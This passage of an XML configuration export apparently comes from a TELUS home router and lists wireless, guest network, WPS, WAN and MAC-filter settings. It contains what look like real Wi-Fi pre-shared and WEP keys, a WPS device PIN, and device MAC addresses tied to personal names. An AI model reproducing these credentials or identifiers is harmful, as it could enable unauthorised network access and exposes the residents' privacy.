<WlWpaPsk>929915929</WlWpaPsk> <WlWpa>tkip+aes</WlWpa> <WlFltMacMode>deny</WlFltMacMode> <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey> <X_5067F0_AutoGenerateSsid>FALSE</X_5067F0_AutoGenerateSsid> <WlMACAddressControlList></WlMACAddressControlList> <WlKey64Cfg instance="1"> <WlKey64>648f7</WlKey64> </WlKey64Cfg> <WlKey64Cfg instance="2"> </WlKey64Cfg> <WlKey64Cfg instance="3"> </WlKey64Cfg> <WlKey64Cfg instance="4"> </WlKey64Cfg> <WlKey64Cfg nextInstance="5" ></WlKey64Cfg> <WlKey128Cfg instance="1"> <WlKey128>c86eabbee55ca</WlKey128> </WlKey128Cfg> <WlKey128Cfg instance="2"> </WlKey128Cfg> <WlKey128Cfg instance="3"> </WlKey128Cfg> <WlKey128Cfg instance="4"> </WlKey128Cfg> <WlKey128Cfg nextInstance="5" ></WlKey128Cfg> <WlWpsCfg> <Wsc_mode>enabled</Wsc_mode> </WlWpsCfg> </WlVirtIntfCfg> <WlVirtIntfCfg instance="2"> <WlSsid>TELUS8230_Guest1</WlSsid> <WlIfcname>wl0.1</WlIfcname> <WlBssMacAddr>62:5d:4e:ad:30:ce</WlBssMacAddr> <WlWpaPsk>12345678</WlWpaPsk> <WlWpa>tkip+aes</WlWpa> <WlEnblSsid>0</WlEnblSsid> <X_5067F0_AutoGenerateWepKey>FALSE</X_5067F0_AutoGenerateWepKey> <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey> <X_5067F0_AutoGenerateSsid>FALSE</X_5067F0_AutoGenerateSsid> <WlMACAddressControlList></WlMACAddressControlList> <WlKey64Cfg instance="1"> </WlKey64Cfg> <WlKey64Cfg instance="2"> </WlKey64Cfg> <WlKey64Cfg instance="3"> </WlKey64Cfg> <WlKey64Cfg instance="4"> </WlKey64Cfg> <WlKey64Cfg nextInstance="5" ></WlKey64Cfg> <WlKey128Cfg instance="1"> </WlKey128Cfg> <WlKey128Cfg instance="2"> </WlKey128Cfg> <WlKey128Cfg instance="3"> </WlKey128Cfg> <WlKey128Cfg instance="4"> </WlKey128Cfg> <WlKey128Cfg nextInstance="5" ></WlKey128Cfg> </WlVirtIntfCfg> <WlVirtIntfCfg instance="3"> <WlIdx>2</WlIdx> <WlSsid>TELUS8230_Guest2</WlSsid> <WlIfcname>wl0.2</WlIfcname> <WlBssMacAddr>62:5d:4e:ad:30:cf</WlBssMacAddr> <WlWpaPsk>12345678</WlWpaPsk> <WlWpa>tkip+aes</WlWpa> <WlEnblSsid>0</WlEnblSsid> <X_5067F0_AutoGenerateWepKey>FALSE</X_5067F0_AutoGenerateWepKey> <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey> <X_5067F0_AutoGenerateSsid>FALSE</X_5067F0_AutoGenerateSsid> <WlMACAddressControlList></WlMACAddressControlList> <WlKey64Cfg instance="1"> </WlKey64Cfg> <WlKey64Cfg instance="2"> </WlKey64Cfg> <WlKey64Cfg instance="3"> </WlKey64Cfg> <WlKey64Cfg instance="4"> </WlKey64Cfg> <WlKey64Cfg nextInstance="5" ></WlKey64Cfg> <WlKey128Cfg instance="1"> </WlKey128Cfg> <WlKey128Cfg instance="2"> </WlKey128Cfg> <WlKey128Cfg instance="3"> </WlKey128Cfg> <WlKey128Cfg instance="4"> </WlKey128Cfg> <WlKey128Cfg nextInstance="5" ></WlKey128Cfg> </WlVirtIntfCfg> <WlVirtIntfCfg instance="4"> <WlIdx>3</WlIdx> <WlSsid>TELUS8230_Guest3</WlSsid> <WlIfcname>wl0.3</WlIfcname> <WlBssMacAddr>62:5d:4e:ad:30:cc</WlBssMacAddr> <WlWpaPsk>12345678</WlWpaPsk> <WlWpa>tkip+aes</WlWpa> <WlEnblSsid>0</WlEnblSsid> <X_5067F0_AutoGenerateWepKey>FALSE</X_5067F0_AutoGenerateWepKey> <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey> <X_5067F0_AutoGenerateSsid>FALSE</X_5067F0_AutoGenerateSsid> <WlMACAddressControlList></WlMACAddressControlList> <WlKey64Cfg instance="1"> </WlKey64Cfg> <WlKey64Cfg instance="2"> </WlKey64Cfg> <WlKey64Cfg instance="3"> </WlKey64Cfg> <WlKey64Cfg instance="4"> </WlKey64Cfg> <WlKey64Cfg nextInstance="5" ></WlKey64Cfg> <WlKey128Cfg instance="1"> </WlKey128Cfg> <WlKey128Cfg instance="2"> </WlKey128Cfg> <WlKey128Cfg instance="3"> </WlKey128Cfg> <WlKey128Cfg instance="4"> </WlKey128Cfg> <WlKey128Cfg nextInstance="5" ></WlKey128Cfg> </WlVirtIntfCfg> <WlVirtIntfCfg nextInstance="5" ></WlVirtIntfCfg> </X_5067F0_WlanAdapter> <WPS> <Enable>TRUE</Enable> <DevicePassword>66455936</DevicePassword> <ConfigMethodsSupported>Ethernet,Display,PushButton</ConfigMethodsSupported> <ConfigMethodsEnabled>1,1,1</ConfigMethodsEnabled> <SetupLockedState>Unlocked</SetupLockedState> <ConfigurationState>Configured</ConfigurationState> </WPS> </WLANConfiguration> <WLANConfiguration instance="2"> <Enable>FALSE</Enable> <MaxBitRate>144.5</MaxBitRate> <Channel>11</Channel> <SSID>TELUS8230_Guest1</SSID> <BeaconType>WPAand11i</BeaconType> <WEPKeyIndex>1</WEPKeyIndex> <BasicEncryptionModes>None</BasicEncryptionModes> <BasicAuthenticationMode>None</BasicAuthenticationMode> <WPAEncryptionModes>TKIPandAESEncryption</WPAEncryptionModes> <WPAAuthenticationMode>PSKAuthentication</WPAAuthenticationMode> <IEEE11iEncryptionModes>TKIPandAESEncryption</IEEE11iEncryptionModes> <IEEE11iAuthenticationMode>PSKAuthentication</IEEE11iAuthenticationMode> <BasicDataTransmitRates>54</BasicDataTransmitRates> <OperationalDataTransmitRates>NOS</OperationalDataTransmitRates> <RadioEnabled>TRUE</RadioEnabled> <LocationDescription>NOS</LocationDescription> <RegulatoryDomain>US</RegulatoryDomain> <PeerBSSID>NOS</PeerBSSID> <AuthenticationServiceMode>NOS</AuthenticationServiceMode> <X_5067F0_WMMPowerSaveEnabled>TRUE</X_5067F0_WMMPowerSaveEnabled> <X_5067F0_IfName>wl0.1</X_5067F0_IfName> <X_5067F0_GuestSSID>TELUS8230_Guest1</X_5067F0_GuestSSID> <X_5067F0_GuestEnable>FALSE</X_5067F0_GuestEnable> <X_5067F0_GuestHiden>FALSE</X_5067F0_GuestHiden> <X_5067F0_GuestIsolateClients>FALSE</X_5067F0_GuestIsolateClients> <X_5067F0_Guest1SSID>TELUS8230_Guest2</X_5067F0_Guest1SSID> <X_5067F0_Guest1Enable>FALSE</X_5067F0_Guest1Enable> <X_5067F0_Guest1Hiden>FALSE</X_5067F0_Guest1Hiden> <X_5067F0_Guest1IsolateClients>FALSE</X_5067F0_Guest1IsolateClients> <X_5067F0_Guest2SSID>TELUS8230_Guest3</X_5067F0_Guest2SSID> <X_5067F0_Guest2Enable>FALSE</X_5067F0_Guest2Enable> <X_5067F0_Guest2Hiden>FALSE</X_5067F0_Guest2Hiden> <X_5067F0_Guest2IsolateClients>FALSE</X_5067F0_Guest2IsolateClients> <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey> <X_5067F0_AutoGenerateWepKey>FALSE</X_5067F0_AutoGenerateWepKey> <WEPKey instance="1"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey instance="2"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey instance="3"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey instance="4"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey nextInstance="5" ></WEPKey> <PreSharedKey instance="1"> <PreSharedKey>12345678</PreSharedKey> </PreSharedKey> <PreSharedKey nextInstance="2" ></PreSharedKey> <APWMMParameter instance="1"> <AIFSN>3</AIFSN> <ECWMin>4</ECWMin> <ECWMax>6</ECWMax> </APWMMParameter> <APWMMParameter instance="2"> <AIFSN>7</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </APWMMParameter> <APWMMParameter instance="3"> <AIFSN>1</AIFSN> <ECWMin>3</ECWMin> <ECWMax>4</ECWMax> <TXOP>94</TXOP> </APWMMParameter> <APWMMParameter instance="4"> <AIFSN>1</AIFSN> <ECWMin>2</ECWMin> <ECWMax>3</ECWMax> <TXOP>47</TXOP> </APWMMParameter> <APWMMParameter nextInstance="5" ></APWMMParameter> <STAWMMParameter instance="1"> <AIFSN>3</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </STAWMMParameter> <STAWMMParameter instance="2"> <AIFSN>7</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </STAWMMParameter> <STAWMMParameter instance="3"> <ECWMin>3</ECWMin> <ECWMax>4</ECWMax> <TXOP>94</TXOP> </STAWMMParameter> <STAWMMParameter instance="4"> <ECWMin>2</ECWMin> <ECWMax>3</ECWMax> <TXOP>47</TXOP> </STAWMMParameter> <STAWMMParameter nextInstance="5" ></STAWMMParameter> <WPS> <ConfigMethodsSupported>Ethernet,Display,PushButton</ConfigMethodsSupported> <ConfigMethodsEnabled>1,1,1</ConfigMethodsEnabled> <SetupLockedState>Unlocked</SetupLockedState> </WPS> </WLANConfiguration> <WLANConfiguration instance="3"> <Enable>FALSE</Enable> <MaxBitRate>144.5</MaxBitRate> <Channel>11</Channel> <SSID>TELUS8230_Guest2</SSID> <BeaconType>WPAand11i</BeaconType> <WEPKeyIndex>1</WEPKeyIndex> <BasicEncryptionModes>None</BasicEncryptionModes> <BasicAuthenticationMode>None</BasicAuthenticationMode> <WPAEncryptionModes>TKIPandAESEncryption</WPAEncryptionModes> <WPAAuthenticationMode>PSKAuthentication</WPAAuthenticationMode> <IEEE11iEncryptionModes>TKIPandAESEncryption</IEEE11iEncryptionModes> <IEEE11iAuthenticationMode>PSKAuthentication</IEEE11iAuthenticationMode> <BasicDataTransmitRates>54</BasicDataTransmitRates> <OperationalDataTransmitRates>NOS</OperationalDataTransmitRates> <RadioEnabled>TRUE</RadioEnabled> <LocationDescription>NOS</LocationDescription> <RegulatoryDomain>US</RegulatoryDomain> <PeerBSSID>NOS</PeerBSSID> <AuthenticationServiceMode>NOS</AuthenticationServiceMode> <X_5067F0_WMMPowerSaveEnabled>TRUE</X_5067F0_WMMPowerSaveEnabled> <X_5067F0_IfName>wl0.2</X_5067F0_IfName> <X_5067F0_GuestSSID>TELUS8230_Guest1</X_5067F0_GuestSSID> <X_5067F0_GuestEnable>FALSE</X_5067F0_GuestEnable> <X_5067F0_GuestHiden>FALSE</X_5067F0_GuestHiden> <X_5067F0_GuestIsolateClients>FALSE</X_5067F0_GuestIsolateClients> <X_5067F0_Guest1SSID>TELUS8230_Guest2</X_5067F0_Guest1SSID> <X_5067F0_Guest1Enable>FALSE</X_5067F0_Guest1Enable> <X_5067F0_Guest1Hiden>FALSE</X_5067F0_Guest1Hiden> <X_5067F0_Guest1IsolateClients>FALSE</X_5067F0_Guest1IsolateClients> <X_5067F0_Guest2SSID>TELUS8230_Guest3</X_5067F0_Guest2SSID> <X_5067F0_Guest2Enable>FALSE</X_5067F0_Guest2Enable> <X_5067F0_Guest2Hiden>FALSE</X_5067F0_Guest2Hiden> <X_5067F0_Guest2IsolateClients>FALSE</X_5067F0_Guest2IsolateClients> <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey> <X_5067F0_AutoGenerateWepKey>FALSE</X_5067F0_AutoGenerateWepKey> <WEPKey instance="1"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey instance="2"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey instance="3"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey instance="4"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey nextInstance="5" ></WEPKey> <PreSharedKey instance="1"> <PreSharedKey>12345678</PreSharedKey> </PreSharedKey> <PreSharedKey nextInstance="2" ></PreSharedKey> <APWMMParameter instance="1"> <AIFSN>3</AIFSN> <ECWMin>4</ECWMin> <ECWMax>6</ECWMax> </APWMMParameter> <APWMMParameter instance="2"> <AIFSN>7</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </APWMMParameter> <APWMMParameter instance="3"> <AIFSN>1</AIFSN> <ECWMin>3</ECWMin> <ECWMax>4</ECWMax> <TXOP>94</TXOP> </APWMMParameter> <APWMMParameter instance="4"> <AIFSN>1</AIFSN> <ECWMin>2</ECWMin> <ECWMax>3</ECWMax> <TXOP>47</TXOP> </APWMMParameter> <APWMMParameter nextInstance="5" ></APWMMParameter> <STAWMMParameter instance="1"> <AIFSN>3</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </STAWMMParameter> <STAWMMParameter instance="2"> <AIFSN>7</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </STAWMMParameter> <STAWMMParameter instance="3"> <ECWMin>3</ECWMin> <ECWMax>4</ECWMax> <TXOP>94</TXOP> </STAWMMParameter> <STAWMMParameter instance="4"> <ECWMin>2</ECWMin> <ECWMax>3</ECWMax> <TXOP>47</TXOP> </STAWMMParameter> <STAWMMParameter nextInstance="5" ></STAWMMParameter> <WPS> <ConfigMethodsSupported>Ethernet,Display,PushButton</ConfigMethodsSupported> <ConfigMethodsEnabled>1,1,1</ConfigMethodsEnabled> <SetupLockedState>Unlocked</SetupLockedState> </WPS> </WLANConfiguration> <WLANConfiguration instance="4"> <Enable>FALSE</Enable> <MaxBitRate>144.5</MaxBitRate> <Channel>11</Channel> <SSID>TELUS8230_Guest3</SSID> <BeaconType>WPAand11i</BeaconType> <WEPKeyIndex>1</WEPKeyIndex> <BasicEncryptionModes>None</BasicEncryptionModes> <BasicAuthenticationMode>None</BasicAuthenticationMode> <WPAEncryptionModes>TKIPandAESEncryption</WPAEncryptionModes> <WPAAuthenticationMode>PSKAuthentication</WPAAuthenticationMode> <IEEE11iEncryptionModes>TKIPandAESEncryption</IEEE11iEncryptionModes> <IEEE11iAuthenticationMode>PSKAuthentication</IEEE11iAuthenticationMode> <BasicDataTransmitRates>54</BasicDataTransmitRates> <OperationalDataTransmitRates>NOS</OperationalDataTransmitRates> <RadioEnabled>TRUE</RadioEnabled> <LocationDescription>NOS</LocationDescription> <RegulatoryDomain>US</RegulatoryDomain> <PeerBSSID>NOS</PeerBSSID> <AuthenticationServiceMode>NOS</AuthenticationServiceMode> <X_5067F0_WMMPowerSaveEnabled>TRUE</X_5067F0_WMMPowerSaveEnabled> <X_5067F0_IfName>wl0.3</X_5067F0_IfName> <X_5067F0_GuestSSID>TELUS8230_Guest1</X_5067F0_GuestSSID> <X_5067F0_GuestEnable>FALSE</X_5067F0_GuestEnable> <X_5067F0_GuestHiden>FALSE</X_5067F0_GuestHiden> <X_5067F0_GuestIsolateClients>FALSE</X_5067F0_GuestIsolateClients> <X_5067F0_Guest1SSID>TELUS8230_Guest2</X_5067F0_Guest1SSID> <X_5067F0_Guest1Enable>FALSE</X_5067F0_Guest1Enable> <X_5067F0_Guest1Hiden>FALSE</X_5067F0_Guest1Hiden> <X_5067F0_Guest1IsolateClients>FALSE</X_5067F0_Guest1IsolateClients> <X_5067F0_Guest2SSID>TELUS8230_Guest3</X_5067F0_Guest2SSID> <X_5067F0_Guest2Enable>FALSE</X_5067F0_Guest2Enable> <X_5067F0_Guest2Hiden>FALSE</X_5067F0_Guest2Hiden> <X_5067F0_Guest2IsolateClients>FALSE</X_5067F0_Guest2IsolateClients> <X_5067F0_AutoGenerateWpaKey>FALSE</X_5067F0_AutoGenerateWpaKey> <X_5067F0_AutoGenerateWepKey>FALSE</X_5067F0_AutoGenerateWepKey> <WEPKey instance="1"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey instance="2"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey instance="3"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey instance="4"> <WEPKey>1234567890</WEPKey> </WEPKey> <WEPKey nextInstance="5" ></WEPKey> <PreSharedKey instance="1"> <PreSharedKey>12345678</PreSharedKey> </PreSharedKey> <PreSharedKey nextInstance="2" ></PreSharedKey> <APWMMParameter instance="1"> <AIFSN>3</AIFSN> <ECWMin>4</ECWMin> <ECWMax>6</ECWMax> </APWMMParameter> <APWMMParameter instance="2"> <AIFSN>7</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </APWMMParameter> <APWMMParameter instance="3"> <AIFSN>1</AIFSN> <ECWMin>3</ECWMin> <ECWMax>4</ECWMax> <TXOP>94</TXOP> </APWMMParameter> <APWMMParameter instance="4"> <AIFSN>1</AIFSN> <ECWMin>2</ECWMin> <ECWMax>3</ECWMax> <TXOP>47</TXOP> </APWMMParameter> <APWMMParameter nextInstance="5" ></APWMMParameter> <STAWMMParameter instance="1"> <AIFSN>3</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </STAWMMParameter> <STAWMMParameter instance="2"> <AIFSN>7</AIFSN> <ECWMin>4</ECWMin> <ECWMax>10</ECWMax> </STAWMMParameter> <STAWMMParameter instance="3"> <ECWMin>3</ECWMin> <ECWMax>4</ECWMax> <TXOP>94</TXOP> </STAWMMParameter> <STAWMMParameter instance="4"> <ECWMin>2</ECWMin> <ECWMax>3</ECWMax> <TXOP>47</TXOP> </STAWMMParameter> <STAWMMParameter nextInstance="5" ></STAWMMParameter> <WPS> <ConfigMethodsSupported>Ethernet,Display,PushButton</ConfigMethodsSupported> <ConfigMethodsEnabled>1,1,1</ConfigMethodsEnabled> <SetupLockedState>Unlocked</SetupLockedState> </WPS> </WLANConfiguration> <WLANConfiguration nextInstance="5" ></WLANConfiguration> <Hosts> <Host nextInstance="84" ></Host> </Hosts> </LANDevice> <LANDevice nextInstance="2" ></LANDevice> <WANDevice instance="1"> <WANConnectionNumberOfEntries>2</WANConnectionNumberOfEntries> <WANCommonInterfaceConfig> <WANAccessType>DSL</WANAccessType> </WANCommonInterfaceConfig> <X_5067F0_XTM_Interface_Stats instance="1"> </X_5067F0_XTM_Interface_Stats> <X_5067F0_XTM_Interface_Stats instance="2"> </X_5067F0_XTM_Interface_Stats> <X_5067F0_XTM_Interface_Stats instance="3"> </X_5067F0_XTM_Interface_Stats> <X_5067F0_XTM_Interface_Stats instance="4"> </X_5067F0_XTM_Interface_Stats> <X_5067F0_XTM_Interface_Stats nextInstance="5" ></X_5067F0_XTM_Interface_Stats> <WANDSLInterfaceConfig> <Enable>TRUE</Enable> <X_5067F0_DslCfgParam>32508288</X_5067F0_DslCfgParam> </WANDSLInterfaceConfig> <WANConnectionDevice instance="1"> <WANIPConnectionNumberOfEntries>1</WANIPConnectionNumberOfEntries> <WANPPPConnectionNumberOfEntries>0</WANPPPConnectionNumberOfEntries> <WANDSLLinkConfig> <Enable>TRUE</Enable> <LinkType>EoA</LinkType> <X_5067F0_ATMEnbQos>TRUE</X_5067F0_ATMEnbQos> <X_5067F0_GrpPrecedence>8</X_5067F0_GrpPrecedence> <X_5067F0_IfName>atm0</X_5067F0_IfName> </WANDSLLinkConfig> <WANIPConnection instance="1"> <Enable>TRUE</Enable> <ConnectionType>IP_Routed</ConnectionType> <Name>ADSL_DEFAULT_0_33</Name> <NATEnabled>TRUE</NATEnabled> <ExternalIPAddress notification="2">0.0.0.0</ExternalIPAddress> <X_5067F0_IGMPEnabled>TRUE</X_5067F0_IGMPEnabled> <X_5067F0_IfName>atm0</X_5067F0_IfName> <PortMappingNumberOfEntries>0</PortMappingNumberOfEntries> <X_5067F0_GatewayUsed>TRUE</X_5067F0_GatewayUsed> </WANIPConnection> <WANIPConnection nextInstance="2" ></WANIPConnection> </WANConnectionDevice> <WANConnectionDevice instance="2"> <WANIPConnectionNumberOfEntries>1</WANIPConnectionNumberOfEntries> <WANPPPConnectionNumberOfEntries>0</WANPPPConnectionNumberOfEntries> <WANDSLLinkConfig> <Enable>TRUE</Enable> <LinkType>EoA</LinkType> <DestinationAddress>PVC: 8/35</DestinationAddress> <X_5067F0_ATMEnbQos>TRUE</X_5067F0_ATMEnbQos> <X_5067F0_GrpPrecedence>8</X_5067F0_GrpPrecedence> <X_5067F0_IfName>atm1</X_5067F0_IfName> </WANDSLLinkConfig> <WANIPConnection instance="1"> <Enable>TRUE</Enable> <ConnectionType>IP_Routed</ConnectionType> <Name>ADSL_DEFAULT_8_35</Name> <NATEnabled>TRUE</NATEnabled> <ExternalIPAddress notification="2">0.0.0.0</ExternalIPAddress> <X_5067F0_IGMPEnabled>TRUE</X_5067F0_IGMPEnabled> <X_5067F0_IfName>atm1</X_5067F0_IfName> <PortMappingNumberOfEntries>0</PortMappingNumberOfEntries> <X_5067F0_GatewayUsed>TRUE</X_5067F0_GatewayUsed> </WANIPConnection> <WANIPConnection nextInstance="2" ></WANIPConnection> </WANConnectionDevice> <WANConnectionDevice nextInstance="3" ></WANConnectionDevice> </WANDevice> <WANDevice instance="2"> <WANConnectionNumberOfEntries>1</WANConnectionNumberOfEntries> <WANCommonInterfaceConfig> <WANAccessType>DSL</WANAccessType> </WANCommonInterfaceConfig> <X_5067F0_XTM_Interface_Stats instance="1"> </X_5067F0_XTM_Interface_Stats> <X_5067F0_XTM_Interface_Stats instance="2"> </X_5067F0_XTM_Interface_Stats> <X_5067F0_XTM_Interface_Stats instance="3"> </X_5067F0_XTM_Interface_Stats> <X_5067F0_XTM_Interface_Stats instance="4"> </X_5067F0_XTM_Interface_Stats> <X_5067F0_XTM_Interface_Stats nextInstance="5" ></X_5067F0_XTM_Interface_Stats> <WANDSLInterfaceConfig> <Enable>TRUE</Enable> <LinkEncapsulationUsed>G.992.3_Annex_K_PTM</LinkEncapsulationUsed> <X_5067F0_DslCfgParam>32508288</X_5067F0_DslCfgParam> </WANDSLInterfaceConfig> <WANConnectionDevice instance="1"> <WANIPConnectionNumberOfEntries>1</WANIPConnectionNumberOfEntries> <WANPPPConnectionNumberOfEntries>0</WANPPPConnectionNumberOfEntries> <WANPTMLinkConfig> <Enable>TRUE</Enable> <X_5067F0_PTMEnbQos>TRUE</X_5067F0_PTMEnbQos> <X_5067F0_GrpPrecedence>8</X_5067F0_GrpPrecedence> <X_5067F0_ConnectionMode>VlanMuxMode</X_5067F0_ConnectionMode> <X_5067F0_IfName>ptm0</X_5067F0_IfName> </WANPTMLinkConfig> <WANIPConnection instance="1"> <Enable>TRUE</Enable> <ConnectionType>IP_Routed</ConnectionType> <Name>VDSL_DEFAULT</Name> <NATEnabled>TRUE</NATEnabled> <ExternalIPAddress notification="2">0.0.0.0</ExternalIPAddress> <X_5067F0_IGMPEnabled>TRUE</X_5067F0_IGMPEnabled> <MACAddress>CC:5D:4E:XX:XX:XX</MACAddress> <X_5067F0_IfName>ptm0.1</X_5067F0_IfName> <X_5067F0_ConnectionId>1</X_5067F0_ConnectionId> <PortMappingNumberOfEntries>0</PortMappingNumberOfEntries> <X_5067F0_GatewayUsed>TRUE</X_5067F0_GatewayUsed> <X_5067F0_UPNPPortMappingRule nextInstance="281" ></X_5067F0_UPNPPortMappingRule> </WANIPConnection> <WANIPConnection nextInstance="2" ></WANIPConnection> </WANConnectionDevice> <WANConnectionDevice nextInstance="2" ></WANConnectionDevice> </WANDevice> <WANDevice instance="3"> <WANConnectionNumberOfEntries>1</WANConnectionNumberOfEntries> <WANCommonInterfaceConfig> <WANAccessType>Ethernet</WANAccessType> </WANCommonInterfaceConfig> <WANEthernetInterfaceConfig> <MaxBitRate>Auto</MaxBitRate> <DuplexMode>Auto</DuplexMode> <X_5067F0_WanToLanIfName>eth10</X_5067F0_WanToLanIfName> <X_5067F0_ConnectionMode>VlanMuxMode</X_5067F0_ConnectionMode> <X_5067F0_WanToLanState>2</X_5067F0_WanToLanState> </WANEthernetInterfaceConfig> <WANConnectionDevice instance="1"> <WANIPConnectionNumberOfEntries>1</WANIPConnectionNumberOfEntries> <WANPPPConnectionNumberOfEntries>0</WANPPPConnectionNumberOfEntries> <WANIPConnection instance="1"> <ConnectionType>IP_Routed</ConnectionType> <Name>ETH_DEFAULT</Name> <NATEnabled>TRUE</NATEnabled> <ExternalIPAddress notification="2">0.0.0.0</ExternalIPAddress> <X_5067F0_IGMPEnabled>TRUE</X_5067F0_IGMPEnabled> <X_5067F0_IfName>eth10.1</X_5067F0_IfName> <X_5067F0_ConnectionId>1</X_5067F0_ConnectionId> <PortMappingNumberOfEntries>0</PortMappingNumberOfEntries> <X_5067F0_GatewayUsed>TRUE</X_5067F0_GatewayUsed> </WANIPConnection> <WANIPConnection nextInstance="2" ></WANIPConnection> </WANConnectionDevice> <WANConnectionDevice nextInstance="2" ></WANConnectionDevice> </WANDevice> <X_5067F0_VcAutoHunt> <NumPvcSet>2</NumPvcSet> <VcHuntInfo instance="1"> <PvcId>0</PvcId> <NumHuntRule>7</NumHuntRule> <VcHuntRule instance="1"> </VcHuntRule> <VcHuntRule instance="2"> <RuleId>1</RuleId> </VcHuntRule> <VcHuntRule instance="3"> <RuleId>2</RuleId> </VcHuntRule> <VcHuntRule instance="4"> <RuleId>3</RuleId> </VcHuntRule> <VcHuntRule instance="5"> <RuleId>4</RuleId> </VcHuntRule> <VcHuntRule instance="6"> <RuleId>5</RuleId> </VcHuntRule> <VcHuntRule instance="7"> <RuleId>6</RuleId> </VcHuntRule> <VcHuntRule nextInstance="8" ></VcHuntRule> </VcHuntInfo> <VcHuntInfo instance="2"> <PvcId>1</PvcId> <NumHuntRule>7</NumHuntRule> <VcHuntRule instance="1"> </VcHuntRule> <VcHuntRule instance="2"> <RuleId>1</RuleId> </VcHuntRule> <VcHuntRule instance="3"> <RuleId>2</RuleId> </VcHuntRule> <VcHuntRule instance="4"> <RuleId>3</RuleId> </VcHuntRule> <VcHuntRule instance="5"> <RuleId>4</RuleId> </VcHuntRule> <VcHuntRule instance="6"> <RuleId>5</RuleId> </VcHuntRule> <VcHuntRule instance="7"> <RuleId>6</RuleId> </VcHuntRule> <VcHuntRule nextInstance="8" ></VcHuntRule> </VcHuntInfo> <VcHuntInfo nextInstance="3" ></VcHuntInfo> </X_5067F0_VcAutoHunt> <Layer3Forwarding> <DefaultConnectionService>InternetGatewayDevice.WANDevice.2.WANConnectionDevice.1.WANIPConnection.1</DefaultConnectionService> <ForwardNumberOfEntries>0</ForwardNumberOfEntries> <X_5067F0_DefaultConnectionServices>atm0,atm1,ptm0.1,eth10.1</X_5067F0_DefaultConnectionServices> </Layer3Forwarding> <X_5067F0_MacFilterObj> <X_5067F0_MacFilterCfg instance="1"> <Enable>TRUE</Enable> <SourceMAC>c8:2a:14:40:ec:e1</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="2"> <Enable>TRUE</Enable> <SourceMAC>e4:ce:8f:2d:5a:88</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="3"> <Enable>TRUE</Enable> <HostName>RachaelRsiPhone</HostName> <SourceMAC>6c:40:08:30:81:e6</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="4"> <Enable>TRUE</Enable> <HostName>Gwens-iPhone</HostName> <SourceMAC>90:fd:61:8a:69:39</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="5"> <Enable>TRUE</Enable> <HostName>Gwendolyns-Air</HostName> <SourceMAC>9c:f3:87:b6:be:86</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="6"> <Enable>TRUE</Enable> <HostName>EPSON4752B1</HostName> <SourceMAC>b0:e8:92:47:52:b1</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="7"> <Enable>TRUE</Enable> <SourceMAC>00:00:00:00:00:00</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="8"> <Enable>TRUE</Enable> <HostName>A4003700</HostName> <SourceMAC>88:1f:a1:01:84:d8</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="9"> <Enable>TRUE</Enable> <HostName>KeithCursiPhone</HostName> <SourceMAC>78:31:c1:34:63:9b</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="10"> <Enable>TRUE</Enable> <SourceMAC>48:44:f7:52:8a:f6</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="11"> <Enable>TRUE</Enable> <HostName>L080901</HostName> <SourceMAC>fc:15:b4:e7:da:6b</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="12"> <Enable>TRUE</Enable> <HostName>L080901</HostName> <SourceMAC>e0:9d:31:51:a6:94</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="13"> <Enable>TRUE</Enable> <HostName>MI3-xiaomishouji</HostName> <SourceMAC>14:f6:5a:cd:71:d2</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="14"> <Enable>TRUE</Enable> <HostName>Anthony-Laptop</HostName> <SourceMAC>60:36:dd:8f:25:78</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="15"> <Enable>TRUE</Enable> <HostName>BLACKBERRY-Q10</HostName> <SourceMAC>94:eb:cd:53:5b:c4</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="16"> <Enable>TRUE</Enable> <HostName>Mello</HostName> <SourceMAC>24:a2:e1:b1:42:b4</SourceMAC> </X_5067F0_MacFilterCfg> <X_5067F0_MacFilterCfg instance="17"> <Enable>TRUE</Enable> 